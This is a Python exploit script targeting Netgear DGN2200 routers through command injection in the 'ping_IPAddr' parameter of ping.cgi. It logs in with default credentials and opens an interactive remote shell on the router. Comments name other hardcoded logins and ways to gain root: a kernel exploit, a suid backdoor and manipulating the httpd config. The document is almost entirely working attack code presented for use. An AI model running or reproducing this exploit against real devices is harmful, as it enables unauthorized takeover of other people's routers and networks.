Netgear DGN2200v1/v2/v3/v4 – ‘ping.cgi’ Remote Command Execution
#!/usr/bin/python #Provides access to default user account, privileges can be easily elevated by using either: # - a kernel exploit (ex. memodipper was tested and it worked) # - by executing /bin/bd (suid backdoor present on SOME but not all versions) # - by manipulating the httpd config files to trick the root user into executing your code (separate advisory will be released soon along with the 2nd vuln) #Pozdrawiam: Kornela, Komara i Sknerusa import sys import requests #You can change these credentials to ex. Gearguy/Geardog or Guest/Guest which are hardcoded on SOME firmware versions #These routers DO NOT support telnet/ssh access so you can use this exploit to access the shell if you want to login = 'admin' password = 'password' def main(): if len(sys.argv) < 2 or len(sys.argv) == 3: print "./netgearpwn.py <router ip>" return spawnShell() def execute(cmd): r = requests.post("http://" + sys.argv[1] + "/ping.cgi", data={'IPAddr1': 12, 'IPAddr2': 12, 'IPAddr3': 12, 'IPAddr4': 12, 'ping':"Ping", 'ping_IPAddr':"12.12.12.12; " + cmd}, auth=(login, password), headers={'referer': "http://192.168.0.1/DIAG_diag.htm"}) result = parseOutput(r.text) return result def spawnShell(): r = execute("echo pwn3d") if any("pwn3d" in s for s in r) == False: print "Something went wrong, is the system vulnerable? Are the credentials correct?" return while True: cmd = raw_input("$ ") r = execute(cmd) for l in r: print l.encode("utf-8") def parseOutput(output): yet = False a = False result = [] for line in output.splitlines(): if line.startswith("<textarea"): yet = True continue if yet == True: if line.startswith("</textarea>"): break result.append(line) return result if __name__ == "__main__": main() |